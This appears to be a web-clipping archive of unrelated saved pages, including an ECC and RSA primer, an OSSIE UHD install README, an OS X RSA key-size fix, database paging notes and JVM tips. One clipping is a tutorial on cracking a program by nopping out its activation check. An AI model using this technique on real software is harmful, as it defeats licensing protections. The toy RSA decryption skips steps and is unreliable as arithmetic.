Elliptic curve cryptography (ECC) is one of the most powerful but least understood types of cryptography in wide use today. An increasing number of websites make extensive use of ECC to secure everything from customers' HTTPS connections to how they pass data between data centers. Fundamentally, it's important for end users to understand the technology behind any security system in order to trust it. To that end, we looked around to find a good, relatively easy-to-understand primer on ECC in order to share with our users. Finding none, we decided to write one ourselves. That is what follows.
Be warned: this is a complicated subject, and it's not possible to boil it down to a pithy blog post. In other words, settle in for a bit of an epic because there's a lot to cover. If you just want the gist, here's the TL;DR version: ECC is the next generation of public key cryptography, and based on currently understood mathematics, it provides a significantly more secure foundation than first-generation public key cryptography systems like RSA. If you're worried about ensuring the highest level of security while maintaining performance, ECC makes sense to adopt. If you're interested in the details, read on.
The dawn of public key cryptography 
The history of cryptography can be split into two eras: the classical era and the modern era. The turning point between the two occurred in 1977, when both the RSA algorithm and the Diffie-Hellman key exchange algorithm were introduced. These new algorithms were revolutionary because they represented the first viable cryptographic schemes where security was based on the theory of numbers; it was the first to enable secure communication between two parties without a shared secret. Cryptography went from being about securely transporting secret codebooks around the world to being able to have provably secure communication between any two parties without worrying about someone listening in on the key exchange.

Whitfield Diffie and Martin Hellman.
Modern cryptography is founded on the idea that the key that you use to encrypt your data can be made public while the key that is used to decrypt your data can be kept private. As such, these systems are known as public key cryptographic systems. The first, and still most widely used of these systems, is known as RSA—named after the initials of the three men who first publicly described the algorithm: Ron Rivest, Adi Shamir, and Leonard Adleman.
What you need for a public key cryptographic system to work is a set of algorithms that is easy to process in one direction but difficult to undo. In the case of RSA, the easy algorithm multiplies two prime numbers. If multiplication is the easy algorithm, its difficult pair algorithm is factoring the product of the multiplication into its two component primes. Algorithms that have this characteristic—easy in one direction, hard the other—are known as trapdoor functions . Finding a good trapdoor function is critical to making a secure public key cryptographic system. Simplistically, the bigger the spread between the difficulty of going one direction in a trapdoor function and going the other, the more secure a cryptographic system based on it will be.
A toy RSA algorithm 
The RSA algorithm is the most popular and best understood public key cryptography system. Its security relies on the fact that factoring is slow and multiplication is fast. What follows is a quick walk-through of what a small RSA system looks like and how it works.
In general, a public key encryption system has two components, a public key and a private key. Encryption works by taking a message and applying a mathematical operation to it to get a random-looking number. Decryption takes the random looking number and applies a different operation to get back to the original number. Encryption with the public key can only be undone by decrypting with the private key.
Computers don't do well with arbitrarily large numbers. We can make sure that the numbers we are dealing with do not get too large by choosing a maximum number and only dealing with numbers less than the maximum. We can treat the numbers like the numbers on an analog clock. Any calculation that results in a number larger than the maximum gets wrapped around to a number in the valid range.
In RSA, this maximum value (call it max) is obtained by multiplying two random prime numbers. The public and private keys are two specially chosen numbers that are greater than zero and less than the maximum value (call them pub and priv). To encrypt a number, you multiply it by itself pub times, making sure to wrap around when you hit the maximum. To decrypt a message, you multiply it by itself priv times, and you get back to the original number. It sounds surprising, but it actually works. This property was a big breakthrough when it was discovered.
To create an RSA key pair, first randomly pick the two prime numbers to obtain the maximum (max). Then pick a number to be the public key pub. As long as you know the two prime numbers, you can compute a corresponding private key priv from this public key. This is how factoring relates to breaking RSA—factoring the maximum number into its component primes allows you to compute someone's private key from the public key and decrypt their private messages.
Let's make this more concrete with an example. Take the prime numbers 13 and 7. Their product gives us our maximum value of 91. Let's take our public encryption key to be the number 5. Then using the fact that we know 7 and 13 are the factors of 91 and applying an algorithm called the Extended Euclidean Algorithm , we get that the private key is the number 29.
These parameters (max: 91, pub: 5, priv: 29) define a fully functional RSA system. You can take a number and multiply it by itself 5 times to encrypt it, then take that number and multiply it by itself 29 times and you get the original number back.
Let's use these values to encrypt the message "CLOUD".
In order to represent a message mathematically, we have to turn the letters into numbers. A common representation of the Latin alphabet is UTF-8. Each character corresponds to a number.

Under this encoding, CLOUD is 67, 76, 79, 85, 68. Each of these digits is smaller than our maximum of 91, so we can encrypt them individually. Let's start with the first letter.
We have to multiply it by itself five times to get the encrypted value.
67×67 = 4489 = 30 *
*Since 4489 is larger than max, we have to wrap it around. We do that by dividing by 91 and taking the remainder.
4489 = 91×49 + 30
30×67 = 2010 = 8
8×67 = 536 = 81
81×67 = 5427 = 58
This means the encrypted version of 67 (or C) is 58.
Repeating the process for each of the letters, we get that the encrypted message CLOUD becomes:
58, 20, 53, 50, 87
To decrypt this scrambled message, we take each number and multiply it by itself 29 times:
58×58 = 3364 = 88 (Remember, we wrap around when the number is greater than max.)
88×58 = 5104 = 8
9×58 = 522 = 67
Voila, we're back to 67. This works with the rest of the digits, resulting in the original message.
The takeaway is that you can take a number, multiply it by itself a number of times to get a random-looking number, and then multiply that number by itself a secret number of times to get back to the original number.
Page: 1 2 3 Next → 
 
Seite 2
Everything you wanted to know about the next generation of public key crypto.
by Nick Sullivan Oct 24, 2013 8:07 pm UTC 
Not a perfect trapdoor 
RSA and Diffie-Hellman were so powerful because they came with rigorous security proofs. The authors proved that breaking the system is equivalent to solving a mathematical problem that is thought to be difficult. Factoring is a very well-known problem and has been studied since antiquity (see the Sieve of Eratosthenes ). Any breakthroughs would be big news and would net the discoverer a significant financial windfall .

"Find factors, get money" - Notorious T.K.G. (Reuters)
That said, factoring is not the hardest problem on a bit-for-bit basis. Specialized algorithms like the Quadratic Sieve and the General Number Field Sieve were created to tackle the problem of prime factorization and have been moderately successful. These algorithms are faster and less computationally intensive than the naive approach of just guessing pairs of known primes.
These factoring algorithms get more efficient as the size of the numbers being factored gets larger. The gap between the difficulty of factoring large numbers and multiplying large numbers is shrinking as the number (i.e. the key's bit length) gets larger. As the resources available to decrypt numbers increase, the size of the keys needs to grow even faster. This is not a sustainable situation for mobile and low-powered devices that have limited computational power. The gap between factoring and multiplying is not sustainable in the long term.
All this means is that RSA is not the ideal system for the future of cryptography. In an ideal trapdoor function, the easy way and the hard way get harder at the same rate with respect to the size of the numbers in question. So we need a public key system based on a better trapdoor.
Elliptic curves: Building blocks of a better trapdoor 
After the introduction of RSA and Diffie-Hellman, researchers explored additional mathematics-based cryptographic solutions looking for other algorithms beyond factoring that would serve as good trapdoor functions. In 1985, cryptographic algorithms were proposed based on an esoteric branch of mathematics called elliptic curves.
But what exactly is an elliptic curve and how does the underlying trapdoor function work? Unfortunately, unlike factoring—something we all had to do for the first time in middle school—most people aren't as familiar with the math around elliptic curves. The math isn't as simple, nor is explaining it, but I'm going to give it a go over the next few sections. (If your eyes start to glaze over, you can skip way down to the section entitled "What does it all mean.")
An elliptic curve is the set of points that satisfy a specific mathematical equation. The equation for an elliptic curve looks something like this:
y2 = x3 + ax + b
That graphs to something that looks a bit like the Lululemon logo tipped on its side:

There are other representations of elliptic curves, but technically an elliptic curve is the set points satisfying an equation in two variables with degree two in one of the variables and three in the other. An elliptic curve is not just a pretty picture, it also has some properties that make it a good setting for cryptography.
Strange symmetry 
Take a closer look at the elliptic curve plotted above. It has several interesting properties.
One of these is horizontal symmetry. Any point on the curve can be reflected over the x-axis and remain the same curve. A more interesting property is that any non-vertical line will intersect the curve in at most three places.
Let's imagine this curve as the setting for a bizarre game of billiards. Take any two points on the curve and draw a line through them; the line will intersect the curve at exactly one more place. In this game of billiards, you take a ball at point A and shoot it toward point B. When it hits the curve, the ball bounces either straight up (if it's below the x-axis) or straight down (if it's above the x-axis) to the other side of the curve.

We can call this billiards move on two points "dot." Any two points on a curve can be dotted together to get a new point.
A dot B = C
We can also string moves together to "dot" a point with itself over and over.
A dot A = B
A dot B = C
A dot C = D
It turns out that if you have two points, an initial point "dotted" with itself n times to arrive at a final point, finding out n when you only know the final point and the first point is hard. To continue our bizarro billiards metaphor, imagine that one person plays our game alone in a room for a random period of time. It is easy for him to hit the ball over and over following the rules described above. If someone walks into the room later and sees where the ball has ended up, even if they know all the rules of the game and where the ball started, they cannot determine the number of times the ball was struck to get there without running through the whole game again until the ball gets to the same point. Easy to do, hard to undo. This is the basis for a very good trapdoor function.
Let’s get weird 
This simplified curve above is great to look at and explain the general concept of elliptic curves, but it doesn't represent what the curves used for cryptography look like.
For this, we have to restrict ourselves to numbers in a fixed range like in RSA. Rather than allow any value for the points on the curve, we restrict ourselves to whole numbers in a fixed range. When computing the formula for the elliptic curve (y2 = x3 + ax + b), we use the same trick of rolling over numbers when we hit the maximum. If we pick the maximum to be a prime number, the elliptic curve is called a "prime curve" and has excellent cryptographic properties.
Here's an example of a curve (y2 = x3 - x + 1) plotted for all numbers:

Here's the plot of the same curve with only the whole number points represented with a maximum of 97:

This hardly looks like a curve in the traditional sense, but it is. It's like the original curve was wrapped around at the edges and only the parts of the curve that hit whole number coordinates are colored in. You can even still see the horizontal symmetry.
In fact, you can still play the billiards game on this curve and dot points together. The equation for a line on the curve still has the same properties. Moreover, the dot operation can be efficiently computed. You can visualize the line between two points as a line that wraps around at the borders until it hits a point. It's like, in our bizarro billiards game, when a ball hits the edge of the board (the max) and then is magically transported to the opposite side of the table and continues on its path until reaching a point, kind of like the game Snake .

With this new curve representation, you can take messages and represent them as points on the curve. You could imagine taking a message and setting it as the x coordinate and solving for y to get a point on the curve. It is slightly more complicated than this in practice, but that's the general idea.
You get the points
(70,6), (76,48), -, (82,6), (69,22)
*There are no coordinates with 65 for the x value; this can be avoided in the real world.
An elliptic curve cryptosystem can be defined by picking a prime number as a maximum, a curve equation, and a public point on the curve. A private key is a number priv, and a public key is the public point dotted with itself priv times. Computing the private key from the public key in this kind of cryptosystem is called the elliptic curve discrete logarithm function. This turns out to be the trapdoor function we were looking for.
What does it all mean?
The elliptic curve discrete logarithm is the hard problem underpinning ECC. Despite almost three decades of research, mathematicians still haven't found an algorithm to solve this problem that improves upon the naive approach. In other words, unlike with factoring, based on currently understood mathematics, there doesn't appear to be a shortcut that is narrowing the gap in a trapdoor function based on this problem. This means that for numbers of the same size, solving elliptic curve discrete logarithms is significantly harder than factoring. Since a more computationally intensive hard problem means a stronger cryptographic system, it follows that elliptic curve cryptosystems are harder to break than RSA and Diffie-Hellman.
To visualize how much harder it is to break, Lenstra recently introduced the concept of "Global Security ." You can compute how much energy is needed to break a cryptographic algorithm and compare that with how much water that energy could boil. This is a kind of a cryptographic carbon footprint. By this measure, breaking a 228-bit RSA key requires less energy than it takes to boil a teaspoon of water. Comparatively, breaking a 228-bit elliptic curve key requires enough energy to boil all the water on earth. For this level of security with RSA, you'd need a key with 2,380 bits.
With ECC, you can use smaller keys to get the same levels of security. Small keys are important, especially in a world where more and more cryptography is done on less powerful devices like mobile phones. While multiplying two prime numbers together is easier than factoring the product into its component parts, when the prime numbers start to get very long, even just the multiplication step can take some time on a low powered device. While you could likely continue to keep RSA secure by increasing the key length, that comes with a cost of slower cryptographic performance on the client. ECC appears to offer a better tradeoff: high security with short, fast keys.
Page: 1 2 3 Next → 
 
﻿https://www.slideshare.net/saumilshah/arm-polyglot-shellcode-hitb2019ams 
ARM Polyglot Shellcode - HITB2019AMS
Created:
5/10/2019 8:05:06 AM
Updated:
5/10/2019 8:05:06 AM
Author:

Tags:
shellcode conference-material arm




﻿http://ossie.wireless.vt.edu/trac/browser/ossiedev/tags/0.8.x/0.8.2/platform/USRP_UHD/README 
/ossiedev/tags/0.8.x/0.8.2/platform/USRP_UHD/README – OSSIE
Created:
1/22/2012 7:23:40 PM
Updated:
1/22/2012 7:23:40 PM
Author:

Tags:
research DSP Gnuradio


Instructions for installing and using the UHD drivers with OSSIE 0.8.2

3

4
------------------------------------------------------------------------------
5
It is assumed that you are starting with a clean installation of Ubuntu 10.04
6
and have already installed OSSIE 0.8.2 from the website (http://ossie.wireless.vt.edu/download/tarballs/0.8.1/).  
7

8
These instructions will also probably work using the live DVD version of OSSIE 0.8.2, but have not been tested in this capacity.
9
------------------------------------------------------------------------------
10

11
Step 1:  Get the dependencies
12
------------------------------------------------------------------------------
13
The dependencies are listed here: (http://www.ettus.com/uhd_docs/manual/html/build.html)
14

15
Specifically, you will need: git, cmake, boost and cheetah to start:
16
> sudo apt-get install gitk cmake python-cheetah libboost-all-dev
17

18
You will also need LibUSB if you plan on using a USRP1.
19

20
Step 2: Download and Build the UHD drivers
21
------------------------------------------------------------------------------
22
Make a new directory in /home/ossie/src called "uhd" and enter this folder:
23
>cd ~/src
24
>mkdir uhd
25
>cd uhd
26

27
Now use git to download the latest UHD build:
28
>git clone git://code.ettus.com/ettus/uhd.git
29

30
Once it is finished downloading, follow the build guide here:
31
(http://www.ettus.com/uhd_docs/manual/html/build.html) to build the drivers from source.
32

33
Once complete, verify that the file /etc/ld.so.conf contains the line
34
"/usr/local/lib" and verify that libuhd.so exists in /usr/local/lib.  If so, then
35
run:
36
>sudo /sbin/ldconfig 
37

38
Step 3: Download and Build the OSSIE UHD Device
39
--------------------------------------------------------------------------------
40
Enter the /platform folder in the OSSIE src:
41
> cd ~/src/ossie-0.8.2/platform
42

43
Download the device source using svn:
44
> svn co https://ossie.wireless.vt.edu/repos/ossie/ossiedev/branches/drdepoy/USRP_UHD_0.8.2
45

46
Temporarily accept the certificate by pressing "t" and then enter.
47
Type the password for your local user account.
48
Login to the OSSIE svn repository using: anon/ossiesdr
49
Type "no" to prevent your password from being stored unencrypted (you may have to 
50
do this twice).
51

52
This will create a folder called "USRP_UHD_0.8.2" in the /platform folder.  Rename
53
this file to "USRP_UHD":
54
>mv USRP_UHD_0.8.2 USRP_UHD
55

56
Download the folder "boost_m4" from the repository into /home/ossie/src/ossie-0.8.2/ if it is not already present:
57
>cd ~/src/ossie-0.8.2
58
>svn co https://ossie.wireless.vt.edu/repos/ossie/ossiedev/branches/0.8.x/boost_m4/
59

60
Enter the folder, make the reconf script executable and build the device:
61
>cd ~/src/platform/USRP_UHD
62
>sudo chmod +X reconf
63
>sudo ./reconf
64
>sudo ./configure
65
>make
66
>make install
67

68
Confirm that there is now a USRP_UHD binary device in /sdr/dev/bin
69

70
You are now ready to use the USRP_UHD device with OSSIE! To make a custom bootable
71
node, simply open eclipse, and select new>other>ossie node.  Then drag and drop the desired devices into the node and save.
72

73
----------------------------------------------------------------------------------
74
**********************************************************************************
75
----------------------------------------------------------------------------------
76
NOTE:  YOU WILL NEED TO FLASH THE FIRMWARE OF THE USRP2/N WITH THE UHD FIRMWARE.  THIS CAN BE A VERY DELICATE PROCESS, WHICH CAN DAMAGE THE HOST SYSTEM IF NOT DONE CAREFULLY.  READ ALL OF THE INTRUCTIONS HERE:
77
(http://www.ettus.com/uhd_docs/manual/html/usrp2.html) CAREFULLY BEFORE PROCEEDING!
78
----------------------------------------------------------------------------------
79

80
go hokies!

﻿50.104814116666645 8.649452189999996 150.0 
2013 Intro RE (open in PDF reader, click links, watch videos)
Created:
10/18/2013 12:26:13 PM
Updated:
10/18/2013 12:28:00 PM
Author:
wishi
Tags:
bookmark video reversing


﻿http://shizmob.tumblr.com/post/67305143330/8192-bit-rsa-keys-in-os-x 
8192+ bit RSA keys in OS X
Created:
11/20/2013 10:55:33 AM
Updated:
11/20/2013 10:55:33 AM
Author:

Tags:
crypto


8192+ bit RSA keys in OS X  
Recently, I purchased my own domain for personal use and as file/project dump. Being a good security-conscious netizen, I immediately turned to StartSSL  to get some fresh TLS certificates for this domain, so people wouldn’t receive those pesky self-signed security errors when attempting to browse my pages.
Seeing as I usually generate a seperate certificate key per domain, it was time to create a new one. Because I don’t really want to change certificate domain keys a lot, I decided to make this one future-proof by generating a 8192-bit RSA keypair for use in the certificate. All was well: my keys were accepted and certificates were generated by StartSSL just fine, the site seemed to work just fine in Firefox on OS X (my own setup) and in a few friends’ various browsers on other operating systems as well.
That is, until a few days later someone started complaining about receiving the following error on Chromium:

The same issue turned out to be present in Chrome, Safari and basically every browser that used OS X’s native crypto stack as well. Seeing as the given error messages were less than ideal (Safari just pretended I didn’t actually want to load a page), I decided to investigate by starting Chromium in debug log mode :
[7137:1287:1112/010412:VERBOSE1:one_click_signin_helper.cc(1105)] OneClickSigninHelper::NavigateToPendingEntry: url=http://shiz.me/
[7137:25603:1112/010412:VERBOSE1:resource_loader.cc(223)] OnReceivedRedirect: http://shiz.me/ 
[7137:21259:1112/010414:WARNING:cert_verify_proc_mac.cc(137)] Unknown error mapped to CERT_STATUS_INVALID:  (-2147409643)
An unknown error. Wonderful. At least we have the native error code, as emitted by Security.framework . After doing some digging around  I found the appropriate error message that belongs to error code -2147409643, or perhaps better expressed in its unsigned form as 74005:
❯❯❯ ./get_cssm_error -2147409643
error: CSSMERR_TP_INVALID_CERTIFICATE
(get_cssm_error.c )
Still not very informative. After this unsuccessful endeavour, I tried importing the key into my system keychain and see what happened: it gave me, again, a rather cryptic error code of -67762. Luckily, searching for that code on Google led me to a certain StackOverflow question :
Security update 2006-007 apparently broke 8192-bit certificates on OS X and no one bothered to fix it (https://discussions.apple.com/message/3650856#3650856). However there is (or rather used to be) a solution for this bug (or feature?) and it is in https://discussions.apple.com/thread/2668985 You’ve just got to execute sudo defaults write /Library/Preferences/com.apple.crypto RSAMaxKeySize -int 8192 in a Terminal prompt.
Sadly, like the question states, this does not work in Mavericks and upwards. This is because when Apple upgraded libsecurity_apple_csp, the library that takes care of the basic crypto services for Security.framework, from r55003  to r55471  for Mavericks, they also changed the location where the preference should be written to. Let’s take a look in /lib/RSA_DSA_keys.h:
r55003 :
/* Those max RSA sizes can be overridden with these system preferences */
#define kRSAKeySizePrefsDomain "com.apple.crypto"
r55471 :
/* Those max RSA sizes can be overridden with these system preferences */
#define kRSAKeySizePrefsDomain "com.apple.security"
A-ha! We have to write to /Library/Preferences/com.apple.security now! Simply changing the file target in the aforementioned command gives us the desired result:

To be fully future proof and to (hopefully) never have to deal with this again, I set the maximum key size to 32768 bits:
sudo defaults write /Library/Preferences/com.apple.security RSAMaxKeySize -int 32768
Now, of course, the obvious question is: why? Why would you artificially limit RSA key sizes? Admittedly fairly clueless on the subject, I decided to ask my good friend Aaron Jones :
<@Shiz> Hey, Aaron. Are there any real reasons for artificially limiting the maximum RSA key size a crypto library can process?
<&Aaron> Shiz: mitigate denial of service? it does get exponentially harder for the higher security levels
(to clarify, with ‘exponentially’ he means non-linearly, not exponential growth .)
This seems to be backed by a post on StackOverflow and the general maths behind RSA. According to RSA’s own FAQ , on page 75, "public key operations take O(k^2) steps, private key operations take O(k^3) steps, and key generation takes O(k^4) steps", in a regular implementation, with k being the key size.
Indeed, Mozilla, up until last year, used to restrict the Diffie-Hellman key size to 2236 bits in the crypto library used by Firefox, NSS , in a similar fashion and for similar reasons. There’s a reason people say TLS takes a heavier load on the server, and it definitely makes it more susceptible to denial-of-service attacks.
However, as hardware gets faster and more efficient, we should also take care in keeping those maximum key sizes sensible for modern uses: seeing as the 2006-007 update instated the maximum key size in RSA initially, I’d say it’s about time for an update and would like to implore Apple to explore the options it has: 8192+ bit RSA keys are getting increasingly (if even slightly) common, and they will only start appearing more over the following years. Especially since, you know, a lot of users are on a desktop and needn’t fear getting (D)DoS’d over TLS any time soon.
TL;DR:
If you’re on Mountain Lion or lower:
sudo defaults write /Library/Preferences/com.apple.crypto RSAMaxKeySize -int 8192
If you’re on Mavericks or higher:
sudo defaults write /Library/Preferences/com.apple.security RSAMaxKeySize -int 8192
Special thanks go to @duane_moody for figuring out that the newest version of libsecurity_apple_csp lives in the Security project instead of being its own project like it was before on the Apple Open Source repository . Thanks to pigeon768 for pointing out a mistake in Aaron’s quote.
 
﻿http://www.afewmoreamps.com/2012/03/overflow-to-disk.html 
A few more amps: Overflow to disk
Created:
4/7/2012 11:07:14 AM
Updated:
4/7/2012 11:07:14 AM
Author:

Tags:
algos data-structs


Overflow to disk


One of the things being talked about is how to leverage disk to expand the capacity of Volt. To make this work we have to incorporate disk bound data without slowing down the rate at which in memory data can be accessed. I think this is feasible if you don't conflate the mutable in-memory representation of data with the flattened immutable on disk representation.

The don't be slow part is achievable by not running transactions that access data that is on disk. Since transactions have to specify a shard key we can ensure that all data associated with that shard key is in memory before running the transaction. This wasn't possible in the past when databases were required to provide the illusion that randomly accessing any row from a transaction has a uniform cost. This illusion required databases to run many transaction concurrently in order to keep cores and spindles busy which is something Volt specifically seeks to avoid.

A good page out mechanism 
· Does sequential IO for updates/insert/delete on a key
· Pulls in all the required data for a txn with as few IOs as possible
· Has excellent compression
· Has consistent throughput over time without dips

I started this process by evaluating the page out mechanism used by other databases to try and understand their strengths and weaknesses.

I am also taking into account the available implementations, their licenses, and there suitability for incorporation within Volt or implementation in house. 
B-trees and buffer pools

A traditional RDBMS has a buffer pool of disk pages some of which are cached in process. These pages are used to construct b-trees and in the case of a clustered index these trees contain the actual row data for each table. There is a tree per table so the data for a query may be scattered across several b-trees.

The fundamental problem with this approach is that the data necessary for each transaction has no spatial locality. There is also nothing that enforces locality between hot and cold data although it is possible at the application level to create this locality. This approach made a lot of sense back when databases weren't sharded and queries didn't have to include a shard key to be performant and scalable. Foreign keys might have been useful in determining spatial locality but there are no guarantees for an RDBMS to rely on especially if it is running a mixed workload.

Volt is in a better situation because it is a distributed system with distributed system expectations. We could use a single b-tree and multiplex rows from multiple tables into each value based on shard key in order to create locality. This satisfies bullet #2 since every single shard transaction will pull in all the rows associated with the shard key and not any unrelated rows unless they happen to be adjacent on disk. It also helps with bullet #3 because the value will be larger and contain correlated data that may compress better.

Hell... let's chuck those secondary indexes as well. Not going to need them where their going. We can rebuild them when we page the value in from disk when the next transaction requiring them comes.

Another problem with B-trees is that they update pages in place so extra IO is required to avoid torn pages and updates in place are handled less efficiently by SSDs (maybe) which should be the primary target of a new system. B-trees also require re-balancing which involves random IO which isn't as fast even with an SSD.

There are implementations in this space but the licensing isn't great.
Log-Structured Merge Trees

A trendy option right now. Insert/Update/Delete is sequential and instead of random IO for re-balancing you get sequential IO for merging. LSM trees take advantage of the disparity in cost between IO (both random and sequential) and disk space. However in an update or delete heavy workload an LSM tree can have surprising tradeoffs.

Deletes result in a tombstone and no space saving and updates result in a new copy and again no space saving. The space doesn't come back until compaction occurs and merges the tombstone with the deleted row or the update with the original row. Compactions can result in inconsistent performance (bullet #4) if they go too fast, and if they go too slow they won't keep up with the insert/update rate and you run out of space. Running out of space due to not enough IO is something users do...

 Compactions also require extra space to operate, but I see that as the right tradeoff.

Reads become slower in delete/update heavy workloads because it is necessary to check several places for the state of a key if it has been updated several times. This conflicts with bullet #2. I think this is the biggest issue with LSM trees and Volt. 

The entire goal of paging cold data out to disk is to not pay for RAM to store it. The less RAM we can purchase the better and SSDs are cheaper than RAM and that trend is likely to continue. My expectation is that with the number of IOPs supported by SSDs we will want to move 10s of thousands of keys in and out of memory per second and that many of these will be updates. Every read IOP spent looking at old copies of a key is a read IOP not being spent on writes or compaction.

Also,  RAM dedicated to indexes that point to updated/deleted rows are no longer available to store relevant index data or data that is inflated in memory. You don't just pay once for the amplification associated with LSM trees.

An alternative approach is to buy more IOPs, but that isn't free either. It is cheaper than RAM, but brings with it questions about the scalability of the IO subsystem and our code on top of it.

The key advantage I see with b-trees and LSM trees is that they allow you to store a lot of keys, but I question whether that is the right tradeoff for Volt. If we are focused on an OLTP workload and paging out several rows from several tables at a time do we really need the ability to page the index itself out to disk especially if we drop secondary indexes on page out.

The only two implementations I know of are Cassandra and LevelDB. I am not sold on leveled compaction and LevelDB's approach to concurrency. Cassandra is an interesting option but it comes package with a lot of additional distributed system code. I also am not sold on the data model and associated complexity in implementation is the right thing for us.

Cassandra also laughs at our concurrency model which we should object to on religious grounds.
Log-Structured Hash Table

a.k.a BitCask. Why does it need to be a tree anyways? We already dumped the secondary indexes so why not dump most of the pkey index as well.

Sequential writes, guaranteed one IOP reads, and simple enough that we could implement it in house. The importance of an in house implementation is not to be discounted. Compaction is an opportunity to do things like support multiple versions of keys which would make continuing to support ACID snapshots easier. We can also read the keys at startup so there is no cold start performance regression which is something Volt currently doesn't suffer from.

It also doesn't package its own write ahead log although we could disable WAL in other products and use our own to supplement the lost durability, but this requires that key updates support compare and set on key version.

We would also have hooks into exactly when a key becomes durable which is critical when moving data in and out of memory. We could also use our own WAL to make keys durable, but that doubles the amount of disk IO.
Stratified B-trees

Lo there be dragons here. I really need to read the paper. I don't think the implementation from Acunu  meets the license requirements, looks like GPLv2 and it is a kernel module to boot. It also doesn't seem like something we can do production quality in house in a reasonable time frame. If it were easy they wouldn't build a company around it right? 
Fractal Tree
More dragons. Same issues.

﻿http://codepool.me/NET-Reverse-Enginering-Part-2/ 
.NET Reverse Enginering - Part 2
Created:
5/7/2017 10:47:50 AM
Updated:
5/7/2017 10:47:50 AM
Author:

Tags:
reversing .Net




.NET Reverse Enginering - Part 2
In Part 1 we cleaned our protected assembly and now it is decompilable and runnable.
In this part, we will try to remove activation checking.
Ok, Let’s do it.
Do you know what is fun in RE? It’s like playing chess with a developer of the program. It is necessary to guess his steps or start thinking like a developer.
In my case it isn’t just a ordinary developer, it is an author of a strong crypter.
Does it make sense? If you answered yes, I have some bad news for you, you are talking with text.
Let’s run the application and visually observe when activation occurs. I will not show a screenshot of this, but activation message box shows right after the form is loaded/rendered. After clicking ok program exits.
Stop reading here, and start thinking, where can it be done? ( You really stopped reading? I think you are getting this text too serious )
Of course, it will be done in OnLoad event. Go Search it: DnSpy > Edit > Search Assemblies > OnLoad.

Here it is. Now lets find usage of VerifyTypeAttributes function. (Funny name yes?) Right click on the function name and click analyze.

Here we see that it is used in the class constructor, navigate to that constructor by double clicking on it.

Right-click on it and choose Edit IL Instructions.

Modify selected instructions and place nop instead.
Run the application again and boonzaaay, now you can reopen your incognito mode browser tab again.
Now let me alone.
Here is a Music.
I write some random shit in twitter too. Follow @aram_koch
Written on March 20, 2017 
0 comments
CodePool - Just another pool
Login 
 1
 Recommend 1 
⤤ Share
Sort by Best

Start the discussion...

Be the first to comment.
Powered by Disqus
✉Subscribe✔
dAdd Disqus to your site
🔒Privacy

﻿http://sebstein.hpfsc.de/2008/10/15/abstract-schreiben/ 
Abstract schreiben | Sent from Hauptstadt!
Created:
3/12/2012 3:58:15 PM
Updated:
3/12/2012 2:58:42 PM
Author:

Tags:
papers writing


Abstract schreiben
Tags: paper
Posted in Promotion | 16 Comments »
Ich werde noch wahnsinnig. Momentan muss ich 2 Paper begutachten, die beide einen unbrauchbaren Abstract haben. Leute: wenn ich nach 200 Worten immer noch keine Idee davon habe, warum ich den Artikel lesen soll, dann ist das Mist. Deshalb: hier ein paar konkrete Tipps, wie man einen Abstract schreibt.
Ich habe sicher auch nicht die Weisheit mit Löffeln gefressen und meine Abstracts sind nicht perfekt. Aber zumindest bilde ich mir ein, dass man nach deren Studium einigermaßen weiß, worum es im Artikel gehen wird. Es gibt für das Schreiben von Abstracts auch gute Anregungen im Netz. Man muss nur mal nach “write+abstract” suchen und schon bekommt man konkrete Hinweise. Ich persönlich halte mich immer an die Struktur von Philip Koopman. Danach besteht ein Abstract aus folgenden Teilen:
· Motivation
· zu lösendes Problem
· Lösungsansatz
· Ergebnisse
· Fazit
Ein Abstract wird plakativ geschrieben. Man muss nicht 20 Begründungen und Beispiele liefern, sondern kann einfach Aussagen machen. Eine weitere wichtige Regel ist, dass man sich kurzfassen sollte. Viele Konferenzen erlauben lediglich 100 Wörter. Das ist knapp, aber mehr als 150 Wörter braucht man definitiv nicht. Natürlich muss man dann später im Artikel alles genau begründen und kommt nicht mit pauschalen Aussagen davon, aber im Abstract darf man das eben.
Das alles ist so enorm wichtig, da der Abstract den ersten Eindruck vom Artikel vermittelt. Ich als Gutachter denke mir, wer nicht mal einen Abstract sauber strukturieren kann, der wird auch keinen guten Artikel schreiben. Als Leser schaue ich immer zuerst auf den Abstract und dann auf die Zusammenfassung. Nur wenn das halbwegs stimmig ist, lese ich den Artikel überhaupt.
Damit dies alles nun nicht nur graue Theorie bleibt, hier ein konkretes Beispiel. Ich schreib jetzt einfach mal einen Abstract (82 Worte) für dieses Post. Falls jemand Verbesserungsvorschläge hat, dann bitte gleich Kommentar hinterlassen!
· Motivation: Der Abstract eines wissenschaftlichen Artikels ist von herausragender Bedeutung, da er den Leser grob über den Inhalt und die Ergebnisse informiert. 
· zu lösendes Problem: Viele Artikel haben allerdings einen schlecht strukturierten Abstract. Dies behindert eine effektive Literaturrecherche und macht den Inhalt des Artikels schwer zugänglich. 
· Lösungsansatz: Dieses Post untersucht deshalb Eigenschaften von guten Abstracts. 
· Ergebnisse: Es wird eine allgemeingültige Grobstruktur präsentiert und es werden konkrete Richtlinien aufgeführt. Dies wird anhand eines Beispiels illustriert. 
· Fazit: Autoren können diese Hinweise direkt verwenden, um damit zukünftig besser lesbare Abstracts zu schreiben.
So, genug geschimpft für heute :-)
	

25
Ähnliche Beiträge

﻿https://blog.gceasy.io/2020/03/18/7-jvm-arguments-of-highly-effective-applications/ 
7 JVM arguments of Highly Effective Applications – GC easy – Universal Java GC Log Analyser
Created:
4/26/2020 3:57:46 PM
Updated:
4/26/2020 3:57:46 PM
Author:

Tags:




7 JVM arguments of Highly Effective Applications

At the time (March 2020) of writing this article there are 600+ arguments that you can pass to JVM just around Garbage collection and memory. If you include other aspects, total JVM arguments count will easily cross 1000+. . It’s way too many arguments for anyone to digest and comprehend. In this article, we are highlighting seven important JVM arguments that you may find it useful.
1. -Xmx and -XX:MaxMetaspaceSize
-Xmx is probably the most important JVM argument. -Xmx defines the maximum amount of heap size you are allocating to your application. (To learn about different memory regions in a JVM, you may watch this short video clip). You can define your application’s heap size like this:
-Xmx2g
Heap size plays a critical role in determining your
a. Application performance
b. Bill, that you are going to get from your cloud provider (AWS, Azure,...)
This brings question, what is the right heap size for my application? Should I allocate a large heap size or small heap size for my application? Answer is: ‘It depends’. In this article, we have shared our thoughts whether you need to go with large or small heap size.
You might also consider reading this article: advantages of setting -Xms and -Xmx to same value.
Metaspace is the region where JVM’s metadata definitions, such as class definitions, method definitions, will be stored.  By default, the amount of memory that can be used to store this metadata information is unlimited (i.e. limited by your container or machine’s RAM size). You need to use -XX:MaxMetaspaceSize argument to specify an upper limit on the amount of memory that can be used to store metadata information.
-XX:MaxMetaspaceSize=256m
